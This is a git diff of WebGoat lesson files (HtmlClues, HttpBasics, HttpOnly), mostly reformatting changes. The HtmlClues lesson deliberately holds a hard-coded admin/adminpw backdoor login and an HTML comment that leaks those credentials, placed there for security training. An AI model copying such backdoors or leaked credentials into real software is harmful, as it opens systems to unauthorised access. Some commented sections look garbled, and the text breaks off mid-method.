* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Jeff Williams Aspect Security
- * @created October 28, 2003
+ *
+ * @author Jeff Williams Aspect Security
+ * @created October 28, 2003
*/
public class HtmlClues extends LessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
- /**
- * Description of the Field
- */
- protected final static String PASSWORD = "Password";
-
- /**
- * Description of the Field
- */
- protected final static String USERNAME = "Username";
-
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- private boolean backdoor(WebSession s)
- {
- String username = s.getParser().getRawParameter(USERNAME, "");
- String password = s.getParser().getRawParameter(PASSWORD, "");
-
- //
- return (username.equals("admin") && password.equals("adminpw"));
- //
- }
-
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
-
- try
- {
- //
- ec.addElement(new Comment("FIXME admin:adminpw"));
- //
- ec.addElement(new Comment("Use Admin to regenerate database"));
-
- if (backdoor(s))
- {
- makeSuccess(s);
-
- s.setMessage("BINGO -- admin authenticated");
- ec.addElement(makeUser(s, "jsnow", "CREDENTIALS"));
- }
- else
- {
- ec.addElement(makeLogin(s));
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- }
-
- return (ec);
- }
-
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @param user Description of the Parameter
- * @param method Description of the Parameter
- * @return Description of the Return Value
- * @exception Exception Description of the Exception
- */
- protected Element makeUser(WebSession s, String user, String method)
- throws Exception
- {
- ElementContainer ec = new ElementContainer();
- ec.addElement(new P().addElement("Welcome, " + user));
- ec.addElement(new P().addElement("You have been authenticated with "
- + method));
-
- return (ec);
- }
-
-
- protected Element makeLogin(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
-
- ec.addElement(new H1().addElement("Sign In "));
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
- .setWidth("90%").setAlign("center");
-
- if (s.isColor())
- {
- t.setBorder(1);
- }
-
- TR tr = new TR();
- tr
- .addElement(new TH()
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
- "Please sign in to your account. See the OWASP admin if you do not have an account.")
- .setColSpan(2).setAlign("left"));
- t.addElement(tr);
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- tr = new TR();
- tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
- t.addElement(tr);
+ /**
+ * Description of the Field
+ */
+ protected final static String PASSWORD = "Password";
- tr = new TR();
- tr.addElement(new TD().addElement(" ").setColSpan(2));
- t.addElement(tr);
+ /**
+ * Description of the Field
+ */
+ protected final static String USERNAME = "Username";
- TR row1 = new TR();
- TR row2 = new TR();
- row1.addElement(new TD(new B(new StringElement("*User Name: "))));
- row2.addElement(new TD(new B(new StringElement("*Password: "))));
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ private boolean backdoor(WebSession s)
+ {
+ String username = s.getParser().getRawParameter(USERNAME, "");
+ String password = s.getParser().getRawParameter(PASSWORD, "");
- Input input1 = new Input(Input.TEXT, USERNAME, "");
- Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
- row1.addElement(new TD(input1));
- row2.addElement(new TD(input2));
- t.addElement(row1);
- t.addElement(row2);
+ //
+ return (username.equals("admin") && password.equals("adminpw"));
+ //
+ }
- Element b = ECSFactory.makeButton("Login");
- t.addElement(new TR(new TD(b)));
- ec.addElement(t);
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
+ ElementContainer ec = new ElementContainer();
- return (ec);
- }
+ try
+ {
+ //
+ ec.addElement(new Comment("FIXME admin:adminpw"));
+ //
+ ec.addElement(new Comment("Use Admin to regenerate database"));
+ if (backdoor(s))
+ {
+ makeSuccess(s);
- /**
- * Gets the hints attribute of the CluesScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints
- .add("You can view the HTML source by selecting 'view source' in the browser menu.");
- hints.add("There are lots of clues in the HTML");
- hints
- .add("Search for the word HIDDEN, look at URLs, look for comments.");
+ s.setMessage("BINGO -- admin authenticated");
+ ec.addElement(makeUser(s, "jsnow", "CREDENTIALS"));
+ }
+ else
+ {
+ ec.addElement(makeLogin(s));
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ }
- return hints;
- }
+ return (ec);
+ }
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @param user
+ * Description of the Parameter
+ * @param method
+ * Description of the Parameter
+ * @return Description of the Return Value
+ * @exception Exception
+ * Description of the Exception
+ */
+ protected Element makeUser(WebSession s, String user, String method) throws Exception
+ {
+ ElementContainer ec = new ElementContainer();
+ ec.addElement(new P().addElement("Welcome, " + user));
+ ec.addElement(new P().addElement("You have been authenticated with " + method));
- /**
- * Gets the instructions attribute of the HtmlClues object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
- String instructions = "Below is an example of a forms based authentication form. Look for clues to help you log in.";
+ return (ec);
+ }
- return (instructions);
- }
+ protected Element makeLogin(WebSession s)
+ {
+ ElementContainer ec = new ElementContainer();
- private final static Integer DEFAULT_RANKING = new Integer(30);
+ ec.addElement(new H1().addElement("Sign In "));
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
+ if (s.isColor())
+ {
+ t.setBorder(1);
+ }
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ TR tr = new TR();
+ tr.addElement(new TH()
+ .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
+ .setColSpan(2).setAlign("left"));
+ t.addElement(tr);
+ tr = new TR();
+ tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
+ t.addElement(tr);
- /**
- * Gets the category attribute of the FailOpenAuthentication object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.CODE_QUALITY;
- }
+ tr = new TR();
+ tr.addElement(new TD().addElement(" ").setColSpan(2));
+ t.addElement(tr);
+ TR row1 = new TR();
+ TR row2 = new TR();
+ row1.addElement(new TD(new B(new StringElement("*User Name: "))));
+ row2.addElement(new TD(new B(new StringElement("*Password: "))));
- /**
- * Gets the title attribute of the CluesScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Discover Clues in the HTML");
- }
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ Input input1 = new Input(Input.TEXT, USERNAME, "");
+ Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
+ row1.addElement(new TD(input1));
+ row2.addElement(new TD(input2));
+ t.addElement(row1);
+ t.addElement(row2);
+
+ Element b = ECSFactory.makeButton("Login");
+ t.addElement(new TR(new TD(b)));
+ ec.addElement(t);
+
+ return (ec);
+ }
+
+ /**
+ * Gets the hints attribute of the CluesScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("You can view the HTML source by selecting 'view source' in the browser menu.");
+ hints.add("There are lots of clues in the HTML");
+ hints.add("Search for the word HIDDEN, look at URLs, look for comments.");
+
+ return hints;
+ }
+
+ /**
+ * Gets the instructions attribute of the HtmlClues object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
+ String instructions = "Below is an example of a forms based authentication form. Look for clues to help you log in.";
+
+ return (instructions);
+ }
+
+ private final static Integer DEFAULT_RANKING = new Integer(30);
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the category attribute of the FailOpenAuthentication object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.CODE_QUALITY;
+ }
+
+ /**
+ * Gets the title attribute of the CluesScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Discover Clues in the HTML");
+ }
+
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java
index 8836562c8..bc229823b 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpBasics.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -10,127 +10,119 @@ import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
+ *
* @author Bruce Mayhew WebGoat
* @created October 28, 2003
*/
public class HttpBasics extends LessonAdapter
{
- private final static String PERSON = "person";
+ private final static String PERSON = "person";
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
-
- StringBuffer person = null;
- try
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
{
- ec.addElement(new StringElement("Enter your name: "));
+ ElementContainer ec = new ElementContainer();
- person = new StringBuffer(s.getParser().getStringParameter(PERSON,
- ""));
- person.reverse();
+ StringBuffer person = null;
+ try
+ {
+ ec.addElement(new StringElement("Enter your name: "));
- Input input = new Input(Input.TEXT, PERSON, person.toString());
- ec.addElement(input);
+ person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
+ person.reverse();
- Element b = ECSFactory.makeButton("Go!");
- ec.addElement(b);
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
+ Input input = new Input(Input.TEXT, PERSON, person.toString());
+ ec.addElement(input);
+
+ Element b = ECSFactory.makeButton("Go!");
+ ec.addElement(b);
+ } catch (Exception e)
+ {
+ s.setMessage("Error generating " + this.getClass().getName());
+ e.printStackTrace();
+ }
+
+ if (!person.toString().equals("") && getLessonTracker(s).getNumVisits() > 3)
+ {
+ makeSuccess(s);
+ }
+
+ return (ec);
}
- if (!person.toString().equals("")
- && getLessonTracker(s).getNumVisits() > 3)
+ /**
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
+ */
+ public List getHints(WebSession s)
{
- makeSuccess(s);
+ List hints = new ArrayList();
+ hints.add("Type in your name and press 'go'");
+ hints.add("Turn on Show Parameters or other features");
+ hints.add("Press the Show Lesson Plan button to view a lesson summary");
+ hints.add("Press the Show Solution button to view a lesson solution");
+
+ return hints;
}
- return (ec);
- }
+ /**
+ * Gets the ranking attribute of the HelloScreen object
+ *
+ * @return The ranking value
+ */
+ private final static Integer DEFAULT_RANKING = new Integer(10);
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- /**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
- */
- public List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("Type in your name and press 'go'");
- hints.add("Turn on Show Parameters or other features");
- hints.add("Press the Show Lesson Plan button to view a lesson summary");
- hints.add("Press the Show Solution button to view a lesson solution");
+ protected Category getDefaultCategory()
+ {
+ return Category.GENERAL;
+ }
- return hints;
- }
-
- /**
- * Gets the ranking attribute of the HelloScreen object
- *
- * @return The ranking value
- */
- private final static Integer DEFAULT_RANKING = new Integer(10);
-
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- protected Category getDefaultCategory()
- {
- return Category.GENERAL;
- }
-
-
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Http Basics");
- }
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Http Basics");
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java
index a28ea80db..da879370d 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpOnly.java
@@ -1,12 +1,11 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.security.MessageDigest;
-
import javax.servlet.http.HttpServletResponse;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -18,351 +17,409 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
-
import sun.misc.BASE64Encoder;
-/*******************************************************************************
+
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
-public class HttpOnly extends LessonAdapter {
-
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
+public class HttpOnly extends LessonAdapter
+{
+
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
+
private final static Integer DEFAULT_RANKING = new Integer(125);
-
+
private final static String UNIQUE2U = "unique2u";
-
+
private final static String HTTPONLY = "httponly";
-
+
private final static String ACTION = "action";
-
+
private final static String READ = "Read Cookie";
-
+
private final static String WRITE = "Write Cookie";
-
+
private final static String READ_RESULT = "read_result";
-
+
private boolean httpOnly = false;
-
+
private boolean readSuccess = false;
-
+
private boolean writeSuccess = false;
-
+
private String original = "undefined";
-
+
/**
- * Gets the title attribute of the EmailScreen object
- *
- * @return The title value
+ * Gets the title attribute of the EmailScreen object
+ *
+ * @return The title value
*/
public String getTitle()
{
- return ( "HTTPOnly Test" );
+ return ("HTTPOnly Test");
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
-
+
/**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- protected Element createContent( WebSession s )
+ protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String action = null;
String http = null;
-
+
http = s.getRequest().getParameter(HTTPONLY);
action = s.getRequest().getParameter(ACTION);
-
- if(http != null) {
+
+ if (http != null)
+ {
httpOnly = Boolean.parseBoolean(http);
}
-
- if(httpOnly) {
-// System.out.println("HttpOnly: Setting HttpOnly for cookie");
+
+ if (httpOnly)
+ {
+ // System.out.println("HttpOnly: Setting HttpOnly for cookie");
setHttpOnly(s);
- } else {
-// System.out.println("HttpOnly: Removing HttpOnly for cookie");
+ }
+ else
+ {
+ // System.out.println("HttpOnly: Removing HttpOnly for cookie");
removeHttpOnly(s);
}
-
- if(action != null) {
- if(action.equals(READ)) {
+
+ if (action != null)
+ {
+ if (action.equals(READ))
+ {
handleReadAction(s);
- } else if(action.equals(WRITE)) {
+ }
+ else if (action.equals(WRITE))
+ {
handleWriteAction(s);
- } else {
- //s.setMessage("Invalid Request. Please try again.");
+ }
+ else
+ {
+ // s.setMessage("Invalid Request. Please try again.");
}
}
-
+
try
{
ec.addElement(makeContent(s));
- }
- catch ( Exception e )
+ } catch (Exception e)
{
- s.setMessage( "Error generating " + this.getClass().getName() );
+ s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
- return ( ec );
+ return (ec);
}
-
/**
- * DOCUMENT ME!
- *
- * @return DOCUMENT ME!
+ * DOCUMENT ME!
+ *
+ * @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
-
/**
- * Gets the hints attribute of the EmailScreen object
- *
- * @return The hints value
+ * Gets the hints attribute of the EmailScreen object
+ *
+ * @return The hints value
*/
protected List getHints(WebSession s)
{
List hints = new ArrayList();
- hints.add( "Read the directions and try out the buttons." );
+ hints.add("Read the directions and try out the buttons.");
return hints;
}
-
- private String createCustomCookieValue() {
+
+ private String createCustomCookieValue()
+ {
String value = null;
byte[] buffer = null;
MessageDigest md = null;
BASE64Encoder encoder = new BASE64Encoder();
-
- try {
+
+ try
+ {
md = MessageDigest.getInstance("SHA");
buffer = new Date().toString().getBytes();
-
+
md.update(buffer);
value = encoder.encode(md.digest());
original = value;
-
- } catch (Exception e) {
+
+ } catch (Exception e)
+ {
e.printStackTrace();
}
-
+
return value;
}
-
- private void setHttpOnly(WebSession s) {
+
+ private void setHttpOnly(WebSession s)
+ {
String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U);
-
- if(cookie == null || cookie.equals("HACKED")) {
+
+ if (cookie == null || cookie.equals("HACKED"))
+ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
original = value;
- } else {
+ }
+ else
+ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
original = cookie;
}
}
-
- private void removeHttpOnly(WebSession s) {
+
+ private void removeHttpOnly(WebSession s)
+ {
String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U);
-
- if(cookie == null || cookie.equals("HACKED")) {
+
+ if (cookie == null || cookie.equals("HACKED"))
+ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
original = value;
- } else {
+ }
+ else
+ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
original = cookie;
}
}
-
- private ElementContainer makeContent(WebSession s) {
+
+ private ElementContainer makeContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
Element r = null;
Table t = null;
TR tr = null;
Form f = null;
-
+
ec.addElement(new StringElement(getJavaScript()));
f = new Form();
-
+
t = new Table();
t.setWidth(500);
-
+
tr = new TR();
-
+
tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s))));
t.addElement(tr);
-
+
tr = new TR();
t.addElement(tr);
-
+
tr = new TR();
-
- tr.addElement( new TD(new StringElement ("Do you wish to turn HTTPOnly on?")));
-
- tr.addElement( new TD(new StringElement ("Yes")));
-
- if(httpOnly == true) {
- r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("Checked", "true");
- } else {
- r = new Input(Input.RADIO, HTTPONLY, "True" ).addAttribute("onClick", "document.form.submit()");
+
+ tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?")));
+
+ tr.addElement(new TD(new StringElement("Yes")));
+
+ if (httpOnly == true)
+ {
+ r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true");
}
-
+ else
+ {
+ r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()");
+ }
+
tr.addElement(new TD(r));
-
- tr.addElement( new TD(new StringElement ("No")));
-
- if(httpOnly == false) {
+
+ tr.addElement(new TD(new StringElement("No")));
+
+ if (httpOnly == false)
+ {
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True");
- } else {
+ }
+ else
+ {
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()");
}
-
+
tr.addElement(new TD(r));
-
+
r = new Input(Input.HIDDEN, READ_RESULT, "");
tr.addElement(r);
-
+
t.addElement(tr);
-
-/* tr.addElement(new TD(new StringElement("Status: " )));
- t.addElement(tr);
-
- if(httpOnly == true) {
- tr.addElement(new TD(new StringElement("
"))); } t.addElement(tr); t.addElement(new TR(new TD(new
+ * StringElement(" "))));
+ */f.addElement(t);
+
t = new Table();
tr = new TR();
-
+
r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();");
tr.addElement(new TD(r));
-
+
r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();");
tr.addElement(new TD(r));
t.addElement(tr);
-
+
f.addElement(t);
ec.addElement(f);
-
+
return ec;
}
-
- private void handleReadAction(WebSession s) {
-
+
+ private void handleReadAction(WebSession s)
+ {
+
String displayed = s.getRequest().getParameter(READ_RESULT);
-
- if(httpOnly == true) {
- if(displayed.indexOf(UNIQUE2U) != -1) {
- s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+
+ if (httpOnly == true)
+ {
+ if (displayed.indexOf(UNIQUE2U) != -1)
+ {
+ s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie. It allowed direct client side read access to this cookie.");
- } else {
- s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ }
+ else
+ {
+ s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie by preventing direct client side read access to this cookie.");
- if (writeSuccess) {
- if (!this.isCompleted(s)) {
+ if (writeSuccess)
+ {
+ if (!this.isCompleted(s))
+ {
makeSuccess(s);
readSuccess = false;
writeSuccess = false;
}
- } else {
- if (!this.isCompleted(s)) {
+ }
+ else
+ {
+ if (!this.isCompleted(s))
+ {
s.setMessage("Now try to see if your browser protects write access to this cookie.");
readSuccess = true;
}
}
}
- } else if(displayed.indexOf(UNIQUE2U) != -1) {
- s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + "' cookie was displayed in the alert dialog.");
- } else {
- s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ }
+ else if (displayed.indexOf(UNIQUE2U) != -1)
+ {
+ s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ + "' cookie was displayed in the alert dialog.");
+ }
+ else
+ {
+ s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie should have been displayed in the alert dialog, but was not for some reason. "
+ "(This shouldn't happen)");
}
}
-
- private void handleWriteAction(WebSession s) {
+
+ private void handleWriteAction(WebSession s)
+ {
String hacked = s.getCookie(UNIQUE2U);
-
- if(httpOnly == true) {
- if(!original.equals(hacked)) {
- s.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + UNIQUE2U + "' cookie.");
- s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + " on the client side.");
- } else {
- s.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
- + UNIQUE2U + "' cookie by preventing client side modification.");
- if (readSuccess) {
- if (!this.isCompleted(s)) {
+
+ if (httpOnly == true)
+ {
+ if (!original.equals(hacked))
+ {
+ s
+ .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '"
+ + UNIQUE2U + "' cookie.");
+ s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked
+ + " on the client side.");
+ }
+ else
+ {
+ s
+ .setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
+ + UNIQUE2U + "' cookie by preventing client side modification.");
+ if (readSuccess)
+ {
+ if (!this.isCompleted(s))
+ {
makeSuccess(s);
readSuccess = false;
writeSuccess = false;
}
- } else {
- if (!this.isCompleted(s)) {
+ }
+ else
+ {
+ if (!this.isCompleted(s))
+ {
s.setMessage("Now try to see if your browser protects read access to this cookie.");
writeSuccess = true;
}
}
}
- } else if(!original.equals(hacked)) {
- s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ }
+ else if (!original.equals(hacked))
+ {
+ s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side.");
- } else {
- s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ }
+ else
+ {
+ s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side, but it was not for some reason. "
+ "(This shouldn't happen)");
}
}
-
- private String getJavaScript() {
+
+ private String getJavaScript()
+ {
StringBuffer buffer = new StringBuffer();
-
+
buffer.append("\n");
-
+
return buffer.toString();
}
-
- private String getBrowserType(WebSession s) {
+
+ private String getBrowserType(WebSession s)
+ {
int offset = -1;
String result = "unknown";
String browser = s.getHeader("user-agent").toLowerCase();
-
- if(browser != null) {
- if(browser.indexOf("firefox") != -1) {
+
+ if (browser != null)
+ {
+ if (browser.indexOf("firefox") != -1)
+ {
browser = browser.substring(browser.indexOf("firefox"));
-
+
offset = getOffset(browser);
-
+
result = browser.substring(0, offset);
- } else if(browser.indexOf("msie 6") != -1) {
+ }
+ else if (browser.indexOf("msie 6") != -1)
+ {
result = "Internet Explorer 6";
- } else if(browser.indexOf("msie 7") != -1) {
+ }
+ else if (browser.indexOf("msie 7") != -1)
+ {
result = "Internet Explorer 7";
- } else if(browser.indexOf("msie") != -1) {
+ }
+ else if (browser.indexOf("msie") != -1)
+ {
result = "Internet Explorer";
- } else if(browser.indexOf("opera") != -1) {
+ }
+ else if (browser.indexOf("opera") != -1)
+ {
result = "Opera";
- } else if(browser.indexOf("safari") != -1) {
+ }
